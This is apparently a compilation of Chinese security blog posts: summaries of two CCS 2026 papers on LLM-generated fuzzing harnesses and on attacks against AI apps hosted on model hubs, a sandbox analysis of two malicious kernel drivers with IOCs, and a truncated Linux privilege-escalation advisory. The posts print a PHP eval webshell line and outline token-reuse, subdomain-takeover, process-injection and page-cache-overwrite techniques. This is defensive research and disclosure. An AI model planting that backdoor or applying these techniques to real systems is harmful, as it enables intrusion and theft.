奇安信星图实验室、信息支援部队工程大学和武汉大学的研究团队在CCS 2026会议上发表了论文《Thinking More, Harnessing Better: Automatic Harness Generation with Dataflow Aggregation and Workflow Decomposition》

模糊测试的高效性，取决于测试数据能否深入待测程序的内部逻辑。对于C语言编写的系统库和复杂应用，仅从最外层入口如命令行工具进行测试，往往只能覆盖外围代码，大量核心功能模块被层层封装，难以触及。为此，业界引入了模糊测试驱动（harness），并借助大语言模型（LLM）辅助harness的自动生成。

Harness 是一段“桥梁代码”，它接收模糊引擎生成的原始变异数据，将其转换为目标函数所需的参数格式，并按正确顺序调用一个或多个内部函数，从而将测试数据精准注入到待测模块的深层逻辑中，以覆盖从资源初始化、数据格式转换到核心业务处理、资源回收的完整链路。然而，在真实软件中，待测函数之间往往存在严密的调用顺序和数据依赖关系。harness自动生成过程的任何一步错误或缺失，都可能导致编译失败、运行时崩溃，甚至产生虚假的漏洞报告。

因此，为解决harness自动生成过程中函数粒度过粗、未匹配真实数据流以及LLM幻觉等问题，提升漏洞挖掘质量与效率，奇安信星图实验室、信息支援部队工程大学和武汉大学的研究团队在CCS 2026会议上发表了论文《Thinking More, Harnessing Better: Automatic Harness Generation with Dataflow Aggregation and Workflow Decomposition》。这项工作由奇安信星图实验室安全研究员张兴主导完成，其余作者为杨刚（信息支援部队工程大学）、黄子康（奇安信和武汉大学联培硕士生）、应凌云（奇安信星图实验室）、王聪冲（奇安信星图实验室）、刘璐（奇安信星图实验室）、尹斌（奇安信星图实验室）、王明义（奇安信星图实验室）、赵梓荃（奇安信天工实验室）、李敏（奇安信天工实验室）、陈震宇（奇安信星图实验室）和吴波（信息支援部队工程大学）。

论文结果表明，论文工具SynapseFlow相较于当前最先进的OSS-Fuzz-Gen（Google）和PromeFuzz（CCS 2025），分别带来3.07倍和4.26倍的分支覆盖率(llvm-cov branch)提升，并发现7个此前未知的漏洞。

论文链接：https://arxiv.org/abs/2607.07007

论文的代码及实验部分数据将在通过CCS组委会的评审后公开。

LLM的发展为自动化harness生成带来了新的研究思路。然而，现有基于LLM的harness生成方法普遍存在一个根本性的缺陷——单轮生成。这些方法通常的做法是：将目标函数的源代码、以及静态分析预处理得到的控制流辅助信息一次性提交给LLM，引导LLM在单次交互中直接生成完整的harness代码。

这种单轮生成的思路存在两个核心问题：

·函数选择不准确，缺乏数据流感知。现有工具在决定harness的待测函数序列时，往往依赖于简单的启发式规则（如函数调用关系）或API级别的语义相似度，缺乏对数据流的系统性理解。这导致生成的harness遗漏了关键的初始化或处理函数，覆盖率低；或引入了不相关的函数，降低模糊测试效率。

·LLM幻觉在生成中累积放大。当LLM被要求一次性生成一段复杂的、涉及多个函数调用的harness时，容易编造不存在的函数、错误使用宏定义、或插入文件I/O等损害模糊测试性能的操作。且在单轮生成的模式下，这些错误产生后无法被及时发现和修正，只能在最后的迭代修复过程根据错误信息尝试修复所有错误，容易在迭代过程中产生新的幻觉。

以论文中提到的j40项目（JPEG XL图像解析库）为例。一个高质量的harness需要按正确顺序调用7个关键函数，从j40_from_memory读取原始字节流开始，经过j40_output_format、j40_next_frame、j40_current_frame、j40_frame_pixels、j40_row等一系列处理，最后调用j40_free释放资源。

然而，在测试现有最先进的harness生成工具时，发现了许多问题：OSS-Fuzz-Gen只选择了两个不相关的函数，完全无法进行有意义的测试；CKGFuzzer生成了一个不完整的序列，还引入了手动的内存分配、拷贝等多余操作；PromeFuzz虽然识别了更多函数，却错误地包含了两个不同的输入处理函数j40_from_memory和j40_from_file，违反了libFuzzer的单入口原则，还加入了损害性能的文件操作。

导致这些问题的核心原因是，这些工具无法识别由输入/输出结构体所定义的函数间数据依赖关系，且出现函数组合错误时也无法得到有效的验证与修复。

面对上述挑战，论文设计并实现了harness自动化生成工具SynapseFlow，基于数据流聚合以及分阶段、可回滚的工作流分解，逐步解决复杂的harness生成任务。

SynapseFlow的整体工作流程如下图所示，包括两部分核心流程： 

1.基于数据流聚合的函数三元组提取

这一阶段的目标是从源代码中自动识别出应该被放入同一个harness中协同测试的函数集合。论文将该集合称为函数三元组（Function Triplet, FT）。

步骤1：函数语义标注。首先，SynapseFlow对项目中的每个函数进行语义分类，定义了如下三种类型：

输入流函数（ISF）：将字节流等外部原始数据输入内部结构体的函数，例如j40_from_memory。

处理函数（PRF）：对已初始化的结构体进行读取、验证或转换等处理操作的函数，例如j40_next_frame、j40_frame_pixels。

辅助函数（HPF）：辅助资源与生命周期管理的函数，包括结构体的初始化和释放等，例如j40_free。

这一标注过程结合了轻量级静态分析（基于tree-sitter实现）和LLM语义推理辅助：基于静态语法分析充分解析函数实体及数据结构类型，且对于指针参数等静态分析无法区分输入/输出的情形，设计相应的提示模板让LLM进行判断，并采用三提示词投票机制提升准确性。

步骤2：构建结构体流图（Structural Flow Graph, SFG）。完成静态分析后，SynapseFlow还将构建一张结构体流图：有向图，节点代表结构体类型，边代表函数对结构体的“消费—生产”关系。例如，j40_frame_pixels消费j40_frame、生产j40_pixels，就在图中形成一条从j40_frame到j40_pixels的边。结构体流图清晰地体现了数据在数据结构以及函数间的流动路径。

步骤3：函数三元组提取。最后，对于每一个ISF，SynapseFlow在SFG上进行前向数据流分析，收集所有可达的PRF和相关的HPF，形成一个完整的函数三元组。以j40为例，提取出的FT包含了7个关键函数。

2.基于工作流分解的harness生成

得到函数三元组之后，接下来进行harness生成。如前所述，让LLM一次性生成完整harness是脆弱的。因此，SynapseFlow将harness生成分解为四个顺序执行的阶段，并基于静态语法分析以及编译与短时运行验证，为每个阶段设计了相应的校验机制：

阶段1：函数文档生成。将FT中每个函数的原始源代码转换为结构化的API文档——包括函数签名、用途描述、使用场景和调用示例。这一步将低级语法抽象为高级语义知识，为后续代码生成提供知识基础。

阶段2：结构体代码片段拼接。利用SFG，识别FT中共享相同输入/输出结构体的函数，分组形成多个处理单元。对于每个单元，通过LLM生成一个局部的代码片段，正确地将输入结构体转换为输出结构体。该阶段将代码生成问题分解为了若干个可管理、可校验的局部问题。

阶段3：粗略代码组装。将阶段2生成的所有局部代码片段，按照SFG中的数据流顺序，逐步合并成一个完整的、可执行的harness原型。

阶段4：格式转换与代码优化。将粗略原型转换为最终的、可用于模糊测试的harness——包装成标准的libfuzzer harness格式，移除损害性能的操作，并基于编译与短时运行反馈优化函数调用及资源清理。

此外，SynapseFlow引入了一个分阶段回滚算法。其核心思想是：如果最终阶段harness无法编译或无法通过基本的运行时测试，不再迭代尝试修复错误，而是回滚到之前的某个阶段重新生成。例如，如果阶段4生成的代码编译失败，系统会回滚到阶段3重新组装；如果反复失败，则进一步回滚到阶段2甚至阶段1。这种机制有效遏制了错误的传播和累积，避免了LLM在迭代修复过程中可能由于幻觉引入的新错误。

1.数据集构建及基准工具选取

论文在25个真实世界的开源C项目（包括17个库和8个应用程序）上对SynapseFlow进行了全面评估，并与三个最先进的工具进行了对比：OSS-Fuzz-Gen、CKGFuzzer和PromeFuzz，所有工具均使用相同的LLM后端Qwen3-32B。其中，数据集选取遵循三项原则：

·基准可比性：纳入6个在前期工作中广泛使用的标准测试目标，确保评估结果可与现有研究直接对比。

·压力测试：选取具有复杂协议或文件解析逻辑的项目，以检验各工具在复杂场景下的生成能力上限。

·数据污染消减：引入11个此前从未在相关研究中出现过的项目（包括8个应用程序）。由于LLM可能已在训练集中包含有热门库的现有harness，在这些全新目标上评估能更纯粹地反映各生成技术的内在性能，而模型预训练数据的记忆效应。

2.代码覆盖率的显著提升

SynapseFlow在24个项目上取得了优于所有基线工具的分支覆盖率。具体而言，相比OSS-Fuzz-Gen、CKGFuzzer、PromeFuzz，分支覆盖率提升了3.07倍、 1.71倍、4.26倍。在函数覆盖方面，SynapseFlow分别提升了4.97倍、2.33倍和1.52倍。

经分析，代码覆盖率的提升源于三个关键因素：

·全面的函数选择：通过SFG捕获了传递性依赖和长距离数据流，而基线工具依赖的启发式规则系统性遗漏了这些关系。

·分阶段生成流程：将高风险的单轮生成转化为一系列可验证的简单步骤。

·输入函数隔离：每个ISF对应一个harness，避免了多个输入函数混合在同一个harness中导致模糊测试的遗传算法失效。

      3.漏洞检测能力的提升

论文选取了25个已知漏洞作为检测目标，包括19个代表性CVE和6个OSS-Fuzz已记录问题。对于每个漏洞函数，每个工具生成10个可编译的harness并运行24小时。结果显示，SynapseFlow生成的harness实现了更高的漏洞触发率，相比OSS-Fuzz-Gen、CKGFuzzer、PromeFuzz，分别提升1.77倍、1.51倍、1.36倍。

人工分析表明，基线工具的harness易出现参数初始化错误、遗漏关键函数调用、重复定义目标函数等问题，而SynapseFlow的分阶段验证机制有效避免了这些错误。

4.真实漏洞发现

SynapseFlow成功发现了7个此前从未被报告过的漏洞。这些漏洞涵盖了堆溢出、栈溢出、释放后使用、无限循环等多种类型，分布在file、libarchive、sqlite3等多个广泛使用的项目中。

分析发现，这些易受攻击的函数大多不在OSS-Fuzz的现有测试目标集合中，这表明尽管这些项目已经经历了约五年的持续模糊测试，这些漏洞却始终未被发现。SynapseFlow通过为这些被忽视的API自动生成有效harness，发掘了现有基础设施遗漏的漏洞。以expat项目中的堆溢出漏洞为例：漏洞函数在被调用时未检查目标缓冲区的大小，直接执行了内存拷贝操作。而lz4项目中的堆溢出则发生在处理最终未压缩字面量时，由于对目标缓冲区剩余空间的错误计算导致。这些漏洞的触发需要对特定函数进行正确的初始化序列调用，而只有SynapseFlow生成的harness包含了完整的调用链。

面对日益复杂的软件生态和庞大的代码库，依靠人工编写模糊测试驱动已无法适应安全防护需求，而让LLM一步到位地生成完整harness同样存在多种缺陷。SynapseFlow研究证明，高质量的harness生成需要两方面的突破：一是使用数据流与语义来指导待测函数的选取与组合，而非依赖粗糙的启发式规则；二是将复杂的生成任务分解为多个可验证的子任务，避免在单次LLM调用中处理过多信息、产生难以修复的错误。

SynapseFlow将模糊测试的覆盖范围从零散的、不准确的函数调用，拓展到了由数据流定义的完整功能路径。这不仅减轻了安全研究员繁重的测试代码编写工作，更能让模糊测试真正覆盖到那些被忽视的、却潜藏着真实漏洞的代码路径。

此外，SynapseFlow研究工作作为奇安信技术研究院“天象”软件漏洞挖掘系统相关研究的一部分，目前已在“天象”软件漏洞挖掘系统中落地使用，能够自动化对源代码进行深入安全检测，并取得了良好的测试效果，发现多个真实软件中的漏洞。

论文链接：https://arxiv.org/abs/2607.07007

论文的代码及实验部分数据将在通过CCS组委会的评审后公开。

跳转微信打开

清华大学与奇安信星图实验室联合完成，被网络安全国际四大顶会之一的 ACM CCS 2026 录用，题目为《Your Space is My Zone: Demystifying the Security Risks of AI-Powered Applications on Pre-Trained Model Hubs》

在 Hugging Face、Replicate、ModelScope 这些主流预训练模型平台上，把模型封装成"开箱即用"的在线 AI 应用（AI-App，在 Hugging Face 上被称为 Space） 已经很常见。用户无需本地显卡、无需配置环境，打开浏览器或调用 API 就能做推理和微调。截至 2025 年 12 月，仅 Hugging Face 一家就托管了超过 93 万 个公开 AI 应用。

这类应用降低了使用门槛，但也带来一个容易被忽视的问题：它们大多由第三方开发者编写，运行在共享环境中，平台对它们的隔离和配置约束相对薄弱。近年已有相关安全事件——Hugging Face 官方的一个模型转换应用存在漏洞，攻击者可借此冒充转换机器人、操纵任意应用；Replicate 曾因给多个应用错配共享网络，使攻击者可通过恶意应用操纵推理或窃取私有模型；2024 年 Hugging Face 也检测到未授权访问，导致多名用户的密钥被泄露。

本论文由清华大学与奇安信星图实验室联合完成，被网络安全国际四大顶会之一的 ACM CCS 2026 录用，题目为《Your Space is My Zone: Demystifying the Security Risks of AI-Powered Applications on Pre-Trained Model Hubs》。我们围绕 AI 应用这一新场景做了一次较为系统的安全分析，并实现了分析框架 INSIGHTOR，对三个平台共计 972,546 个公开 AI 应用做了实测。

论文链接：https://arxiv.org/abs/2606.30373

不同于需要本地部署的模型，AI 应用把预训练模型、运行环境、推理 API 和 Web 界面打包成一个云端服务。其典型生命周期是：开发者在平台上创建一个带全局唯一标识符（如 username/spacename）的应用，可以从零写代码、套用官方模板，也可以像 GitHub 上 fork 那样直接复制（Duplicate）他人的应用；平台随后自动构建容器镜像、分配资源并上线；用户通过浏览器或 API 访问。

由于平台文档普遍不够完整，我们用三种互补的方法弄清实现细节：审阅平台文档、分析开源组件（如 Hugging Face 的 AutoTrain、Replicate 的 Cog），以及黑盒测试——部署一个会把用户输入当 shell 命令执行的测试应用，抓包观察运行环境、环境变量、网络隔离和密钥处理。

我们发现，AI 应用与普通 Web 应用最关键的区别在于：AI 应用本质上是开发者自建的 Web 服务器，再通过 iframe 嵌入到平台主站页面中。

正是这种"平台页面嵌第三方 iframe"的架构，加上跨用户共享运行环境、无状态令牌认证、世界可读日志、代码自由复制等机制，构成了新的攻击面。需要说明的是，我们关注的是承载模型的共享基础设施和集成逻辑，而非模型本身的数学性质，因此提示词注入等模型层攻击不在讨论范围内。

图1 AI应用架构

为了尽量不遗漏地找出风险，我们按以下步骤梳理：先枚举安全关键接口（密钥处理、令牌传递、iframe 嵌入、日志、存储等），再优先看高影响、可实战利用的向量（如数据窃取、远程代码执行），最后对照标准框架——把每个攻击向量映射到 OWASP Web Top 10、OWASP LLM Top 10 和软件供应链攻击分类法，对应 AI 应用"既是 Web 应用、又是带复杂依赖的组合系统"这一双重属性。

最终我们归纳出 5 类威胁、10 种攻击向量。其中 3 种此前未被报告、由平台架构设计直接导致——幽灵令牌（Ghost Token）、认证绕过（Authentication Bypass） 和 标识符复用（Identifier Reuse）；其余几种是传统 Web 漏洞在 AI 应用场景下被放大的形式。

图2五类威胁× 10 向量×三平台对照表

3.1 访问控制失效

▶ 幽灵令牌（Ghost Token，A2）

Hugging Face 用无状态的 JWT 令牌为私有应用做认证，签发令牌的 APIjwt 接口对所有人开放。问题在于：当应用归属发生变化（被删除、用户名被重新注册）时，平台不会让此前签发的令牌失效。于是攻击者可以预测某组织未来会用的应用标识符（例如盯上在 GitHub 活跃、但尚未入驻 Hugging Face 的组织），抢先注册用户名、创建私有应用、生成有效期 24 小时的 JWT，再删除账号和应用、靠免费账号反复"创建—删除"维持令牌有效；当该组织日后注册同名账号并创建同名应用时，攻击者此前持有的令牌仍能访问其私有应用。

可行性方面我们给出了数据：在 49 万有应用的 Hugging Face 用户中，8,462 个是组织账号，其中 51.16% 与现存 GitHub 组织同名；重叠账号下 4.88% 的应用名与对应 GitHub 仓库名完全一致——说明标识符在一定程度上可预测。

图3 AI应用的认证流程

▶ 日志渗漏（Log Exfiltration，A1）

运行时日志常会无意记录敏感数据。我们发现，Hugging Face 和 Replicate 虽在界面上隐藏了日志查看按钮，却把公开应用的运行日志配置成了世界可读。Hugging Face 那个公开的日志 API 还能为任意公开应用签发可读取完整日志的 JWT，结果是任何 Hugging Face 用户都能读取任意公开应用的运行日志。Replicate 也有类似问题，但因任务标识符是 26 位随机串、无法枚举，实际可利用范围有限；ModelScope 只允许管理员访问日志，不受此影响。

▶ 认证绕过（Authentication Bypass，A3）

部分开发者把口令直接写死在源码里做访问校验（如 Replicate 上的 ardianfe/stable-audio-prod，直接比对用户传入的 key 与硬编码字符串）。但密码就在容器镜像的源码里，攻击者拉下镜像即可读到，这种"锁"起不到保护作用。

▶ 过度授权 iframe（A4）

Hugging Face 默认给每个应用的 iframe 授予多达 27 项权限，包括摄像头和麦克风。当用户给一个可信应用授权后，同一会话中后续加载的应用会继承这些权限，不再重新询问。也就是说，用户先给一个正常应用授权了摄像头，之后加载的另一个应用就可能在不弹窗的情况下访问摄像头。实测中，21,444 个（2.28%）应用至少请求了一项浏览器权限。

3.2 资源复用缺陷

▶ 标识符复用（Identifier Reuse，R1）

Hugging Face 给应用生成子域名时，会把标识符里的斜杠 / 换成连字符 -（如 user/space-name → user-space-name.hf.space）。但用户名本身也允许带连字符，于是 user/space-name 和 user-space/name 会映射到同一个子域名。据此可发动一种域名接管：攻击者预先注册 user-space 这类账号并蹲守目标应用被删除。一旦原应用被删，那些已嵌入第三方网站的 iframe 就成了指向无主子域名的悬空链接；攻击者随即创建 user-space/name 占用该子域名（此时平台不再追加随机后缀），于是原本正常的 iframe 开始从 Hugging Face 官方域名加载攻击者的内容。这种情况下网站方无需改动代码、也很难察觉，可被长期用于钓鱼和凭据窃取。

图4标识符复用攻击原理

数据上：93.8 万个 Hugging Face 应用中，47.03% 标识符含连字符，其中 99.79% 至少存在一个可被抢注的冲突用户名；30 天监测期内观察到 5,069 次应用删除；我们还确认了 9 个正在嵌入"已删除且可被劫持"应用的真实网站（论文指出这是测量下界）。

▶ 代码投毒（Code Poisoning，R2）

AI 应用的代码可通过两种方式传播：一是用户显式复制；二是更隐蔽的隐式复制——Replicate 上用户一旦使用某应用的训练功能，平台会自动在其账号下生成一个继承原始源码的新应用，且不通知开发者。这意味着一个带后门的应用，可以等待他人复制、或在不知情中触发复制，从而扩散。

3.3 输入校验不足（V1）

作为 Web 应用，AI 应用同样面临输入注入，风险来自两方面：一是开发者未对用户输入做净化（如把用户传入的文件路径直接拼进 os.system() 调用的 ffmpeg 命令）；二是依赖了存在已知漏洞的第三方 SDK——以广泛使用的前端库 Gradio 为例，它曾出现多个代码注入 CVE，会波及依赖它的应用。

3.4 敏感数据泄露（L1 / L2）

• 运行时日志泄露（L1）：在多用户共享的日志里，我们识别出三类被泄数据——无意打印的密钥、Hugging Face 用于认证的 JWT 令牌、以及包含 LLM 提示词在内的用户输入/输出，对应 OWASP LLM02（敏感信息泄露）与 LLM07（系统提示词泄露）。

• 容器文件泄露（L2）：源码里的硬编码凭据，以及自定义基础镜像中夹带的私有密钥，都会随镜像分发而泄露。

3.5 算力劫持（Cryptojacking，P1）

AI 应用依赖高性能 GPU，在"用户付费"计费模式下、或用户把应用拉到本地运行时，攻击者可把挖矿程序藏进看似正常的应用里——应用照常输出结果，同时占用受害者的 GPU 挖矿。

发现攻击向量之后，还要回答影响范围有多大，为此我们实现了分析框架 INSIGHTOR。

数据采集：针对三个平台各自的接口差异定制采集策略，最终收集到 Hugging Face 938,602 个、Replicate 25,340 个、ModelScope 8,604 个应用，以及它们的源码仓库、容器镜像和元数据，时间跨度为 2024 年 9 月至 2025 年 12 月。

检测方法：INSIGHTOR 采用混合策略——对幽灵令牌、标识符复用、过度授权 iframe 等架构/配置类问题，用预定义规则结合元数据扫描；对输入注入和敏感数据泄露这类需深入分析的问题，基于 CodeQL 做数据流（污点）分析，把 predict()、Gradio Textbox()、Streamlit 输入等作为"源"，把 os.system、eval、print、logger.* 等作为"汇"，追踪从用户输入/密钥到危险函数或日志的可达路径；对供应链风险和硬编码密钥，复用成熟开源扫描器 GuardDog 与 KeySentinel。

INSIGHTOR 的作用是一个筛选器，把人工核查的搜索空间从 97 万个应用缩小到可复核的候选集。它属于静态分析，存在精度与召回的取舍，结果以人工抽样验证，不保证逐例精确。

• 输入注入：识别出 1,442 个潜在注入点，抽样 300 例人工确认 83 例为真实漏洞（精度约 27.67%），最常见的是把用户输入直接拼进 os.system()、eval()（CWE-78）。

• 过时 SDK：139,475（14.34%）个应用使用了含已知 RCE 漏洞的过时 Gradio；这是基于版本的暴露面统计，反映补丁滞后程度，并不等于每个都可被利用。

• 密钥泄露进日志：在遵循官方密钥管理规范的前提下，仍有 936 个应用因日志配置把密钥写进了世界可读日志（抽样 500 例确认 94 例）。用户输入方面，9,372 个应用记录了用户输入，其中 61.41% 涉及提交给 LLM 的提示词，少数还涉及医疗等敏感数据。

• 硬编码令牌：在 4,846 个应用中检出 3,418 个唯一泄露令牌，覆盖 RSA 私钥、阿里云、Hugging Face、OpenAI、GitHub 等。一个 Replicate 官方应用把官方账号的 Hugging Face 令牌硬编码进镜像，连带出现在另外 76 个应用的镜像里。

• 后门：用 GuardDog 在仓库中发现 27 个含明显后门行为的应用，部分存活逾一年。例如 edwagbb/code 的 index.php 含一行 <?php @eval($_REQUEST["code"]); ?> 的后门，并被复制为 AZLABS/code，使后门随复制扩散。

• 挖矿：发现 43 个嵌入挖矿代码的应用（Replicate 1 个、Hugging Face 42 个）。攻击者会在 Docker 构建阶段挖矿、把矿机重命名为 jupyter/python、或从网络动态下载矿机来规避检测。

一个值得注意的放大案例：Hugging Face 官方训练应用 AutoTrain 使用了 uvicorn 的默认日志配置（默认 access_log=True），会把携带 JWT 的请求记进日志。而该应用被复制出了 32,678 个下游应用，也就是说上游的一个日志配置选择会被复制到大量下游应用。结合日志渗漏，一旦开启 Dev Mode，攻击者就可能借日志中泄露的 JWT 访问 VSCode 开发面板，进而修改代码、窃取密钥与模型。

我们面向平台、开发者、用户三方给出了防御建议：

• 平台：落实最小权限；运行时日志不应向有读权限的用户暴露；对无状态 JWT 提供令牌吊销能力；像移动操作系统那样为 iframe 引入显式权限声明与用户同意；用 Pysa/CodeQL 等检测不安全输入；谨慎管理删除账号与标识符复用，参照 GitHub 限制高影响标识符的再分配；实现类似 CI/CD 的日志密钥脱敏。

• 开发者：避免在源码或镜像中硬编码敏感数据，改用平台密钥管理或 AWS Secrets Manager、HashiCorp Vault 等方案。

• 用户：意识到公开应用可能与他人共享运行环境，处理敏感数据时先看源码，必要时克隆为私有实例再用。

伦理与披露方面，我们全程只在自有账号与应用上做验证，未触碰第三方资源，并已向相关方负责任披露：向 Hugging Face 报告了授权类漏洞、向三个平台报告了输入注入问题；Hugging Face 已修复多个问题，并奖励了 2,369 美元漏洞赏金。针对 27 个后门应用通报平台，已促成 8 个下架；我们还面向受影响开发者累计发出 643 封披露邮件，并联系上 9 个受标识符复用影响网站中的 8 个。

我们对预训练模型平台上的 AI 应用生态做了一次较系统的安全梳理：当"一键部署、一键复制"的便利，遇上第三方开发者、薄弱隔离与随意配置，平台的一些架构设计选择就可能被利用，影响平台、开发者和用户三方。我们从近百万个应用中识别出数千个潜在问题，并已向相关方披露、得到了一定的修复反馈。对于 AI 应用这一仍在快速扩张的场景，相关方有必要重新审视这一容易被忽视的攻击面。

论文链接：https://arxiv.org/abs/2606.30373

跳转微信打开

跳转微信打开

天穹沙箱正式推出内核行为深度追踪功能，以应对近期日益增多的内核级恶意驱动样本。这类样本通常借助合法驱动加载机制或系统漏洞，在内核层实施恶意操作，给分析工作带来极大挑战。

借助这一新功能，天穹沙箱在动态分析样本时，实时监控驱动加载、内核对象操作及跨进程注入等底层行为，有效绕过混淆，还原样本的真实行为。当前，Windows 分析环境已支持该深度分析能力，显著增强了对 Rootkit 和内核级木马的告警能力。

样本一

该样本利用内核态组件向系统临时目录释放恶意文件，再通过远程线程注入与内存解密技术，将有效载荷注入系统关键进程，从而实现持久化驻留与命令控制通信。此类攻击具备内核级权限、无文件落地及多层混淆等特性，令传统静态检测手段难以有效识别。

样本信息

• 样本名： 40270b20bd748bf333c034b8e5e59e19.sys

• SHA1： 142a2b980063badc536c20fc11d77716ac868d62

• 文件类型： SYS

• 文件大小：754.34 KB (772448 bytes)

• 分析报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=fe83cb547ee7d49b6a889c3eccce75fa&sk=73041861

• 签名信息：

  Verified:       Signed
  Signing date:   23:33 2025/6/9
  Publisher:      山西荣**科贸有限公司
  Company:        Windows (R) Win 7 DDK provider
  Description:    z_driver Filter Driver
  Product:        Windows (R) Win 7 DDK driver
  Prod version:   10.0.10011.16384
  File version:   10.0.10011.16384
  MachineType:    64-bit

攻击手法

基于天穹沙箱动态行为监控，该样本的攻击流程如下：

1. 文件释放阶段

恶意内核驱动加载后，调用内核文件操作接口，将三个关键组件 vminstd.tmp、wdscore.dll、rundll32.exe 释放至 C:\Windows\Temp 目录，如图 1 所示。

2. 注入执行阶段

枚举内核级进程，精确搜索并定位至系统关键进程 services.exe。该进程作为服务控制管理器，具有较高运行权限且常被安全策略豁免，适合作为注入目标。利用内核 API（如 KeAttachProcess 或直接操作进程对象 EPROCESS）将当前执行上下文附加到已定位的 services.exe 进程中，获得对该进程内存空间及线程操控的访问能力，如图 2 所示。

在已附加的进程环境中，通过 NtCreateThreadEx 在 services.exe 内部创建一个远程线程。设置线程的起始地址为 WinExec 函数的入口点，并将线程参数指向要执行的命令行 C:\Windows\Temp\rundll32.exe，实现用户态载荷的隐蔽启动。

3. 内存解密与二次注入

rundll32.exe 启动后读取同目录下的 vminstd.tmp 文件，在内存中完成解密操作，获取最终 PE 载荷。随后通过进程注入技术，将解密后的载荷写入 C:\Windows\system32\svchost.exe -k regsvcs 进程空间，借助系统服务进程实现权限维持与流量混淆，如图 3 所示。

4. C2通信阶段

解密载荷初始化网络模块，通过 HTTP/HTTPS 协议连接 dwav.cose[.]space，上报主机信息并接收后续指令。

样本二

该样本是一类融合了虚拟化保护与内核级 APC 注入技术的高级威胁样本。其使用 VMProtect 加密混淆后加载至内核态，运行时在内存中动态解密执行代码，并通过 KeInsertQueueApc 原语向关键系统进程 winlogon.exe 注入恶意逻辑，最终实现隐蔽的命令控制通信。此类攻击利用内核机制绕过用户态安全检测，具备极强的隐蔽性与对抗能力。

样本信息

• 样本名： 36eaf1ce966828e226b39003e5405b7ee4688b7a.sys

• SHA1： 36eaf1ce966828e226b39003e5405b7ee4688b7a

• 文件类型： SYS

• 文件大小：110.63 KB (113288 bytes)

• 分析报告链接： https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0db293029856af733bac5da0d8780c3e&sk=79194724

• 签名信息：

  Verified:       Signed
  Signing date:   19:19 2018/5/23
  Publisher:      Henan ** Intelligent Technology Co., Ltd.
  Company:        n/a
  Description:    n/a
  Product:        n/a
  Prod version:   n/a
  File version:   n/a
  MachineType:    64-bit

攻击手法

基于天穹沙箱动态行为监控，该样本的攻击流程如下：

1. 驱动加壳与内存解密

恶意驱动文件经 VMProtect 虚拟化保护，静态分析难度极高，如图 4 所示。加载至内核后，驱动在内存中动态解密后续代码段，可规避基于文件特征的静态检测。

针对这种加壳的隐匿行为，天穹沙箱具备内核态驱动内存的 Dump 能力，能够捕获驱动运行时的动态解密状态。如图 5 所示，从沙箱动态 dump 出的内存字符串明显比原始文件中的静态字符串更丰富。

2. 目标进程定位

样本调用 ZwQuerySystemInformation 获取系统进程信息，遍历进程列表匹配 winlogon.exe 进程并获取其进程 ID；随后通过 PsLookupProcessByProcessId 取得目标进程的对象指针。

3. APC 注入执行

分配内核内存存储恶意 APC 回调函数，初始化 KAPC 结构体，设置 NormalRoutine 指向恶意载荷，调用 KeInsertQueueApc 将 APC 请求插入目标线程队列，如图 6 所示。一旦 winlogon.exe 执行 Sleep 或 WaitForSingleObject 等可警报等待函数，恶意代码即被触发执行。

4. 命令控制通信

恶意载荷完成进程注入后，调用 WinHTTP 组件初始化网络环境，通过 HTTP 协议主动连接远端控制端 pc.589s[.]cn，成功建立 C2 通信链路并执行上线操作。

恶意文件（MD5）

40270b20bd748bf333c034b8e5e59e19      样本一
67ae545c9a15173615ca55fd4fbb3d54      样本二

恶意文件 IOC

pc.589s[.]cn
www_rosemarie02_com.589s[.]cn
www_dcsnf_com.589s[.]cn
dwav.cose[.]space
dwns.cose[.]space

报告链接
样本一分析报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=fe83cb547ee7d49b6a889c3eccce75fa&sk=73041861
样本二分析报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0db293029856af733bac5da0d8780c3e&sk=79194724

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

跳转微信打开

01 概述近期，Linux 内核爆出高危本地提权漏洞 CVE-2026-31431（Copy Fail），影响

近期，Linux 内核爆出高危本地提权漏洞 CVE-2026-31431（Copy Fail），影响范围十分广泛。该漏洞源于 AF_ALG 加密子系统在处理 splice 零拷贝数据时，对 scatterlist 的不当合并优化，导致攻击者可将任意可读文件的页缓存页“嫁接”到目标缓冲区，实现对 setuid 程序的内存级代码篡改。

• 漏洞原语：

   AF_ALG + splice → 4 字节可控写入任意可读文件的页缓存。

• 利用方式：

   反复调用原语，将 /usr/bin/su 的页缓存逐步替换为 shellcode。

• 触发方式：

  execve("/usr/bin/su") → 内核直接加载已被篡改的页缓存版本。

• 利用结果：

   shellcode 以 setuid-root 权限运行，su 的密码验证逻辑从未被执行。

天穹沙箱已针对该漏洞增加专项监控规则，能够实时捕获 AF_ALG + splice + execve 组合调用链，并记录攻击特征，辅助安全人员快速定位利用行为。

• 漏洞编号：

   CVE-2026-31431

• 影响组件：

   Linux 内核 crypto/af_alg.c 及 scatterlist 处理逻辑。

• 影响版本：

   Linux kernel 4.9 – 6.8（含）；引入点为 2017 年 scatterlist 合并优化（约 v4.9）；国产系统：kylin V10/V11 ARM64、UOS 20 x86_64、openEuler 22.03 SP2 ARM64 等均受影响；已于 6.9-rc1 修复。

• 漏洞类型：

   越界写入（Out-of-Bounds Write，CWE-787）；页缓存污染（Page Cache Poisoning）。

• 漏洞评分：

   CVSS 3.1：7.8（本地提权，无需特权，无需交互）。

• 补丁状态：

   上游已发布补丁，建议升级至 6.9+ 或应用厂商安全更新。

1. 攻击概述

为了实现无文件落地的内存提权，攻击者巧妙利用了 Linux 页缓存与 scatterlist 的特性：

• 打开 suid 文件并获取只读文件描述符（例如 /usr/bin/su）；

• 通过 pipe + splice 零拷贝，将 su 的页缓存页引用”注入” AF_ALG 请求的 scatterlist；

• 触发 authencesn 等算法的越界写操作，4 字节 shellcode 片段被精准写入 su 页缓存；

• 调用 execve("/usr/bin/su")，内核加载已被污染的页缓存，shellcode 以 root 权限执行。

2. 攻击流程

3. 核心数据结构：scatterlist

Linux 内核使用 scatterlist 描述物理上不连续的内存块：

struct scatterlist {
    unsigned long page_link;   // 指向物理页
    unsigned int  offset;      // 页内偏移
    unsigned int  length;      // 这段数据的长度
    dma_addr_t    dma_address; // DMA 映射后的总线地址
};

多个 scatterlist 条目可通过 sg_chain() 串联，形成逻辑上连续的数据流。

4. AF_ALG 与“就地优化”的致命缺陷

2017 年的一次性能优化将 src 与 dst scatterlist 合并为同一链，省去一次内存拷贝：

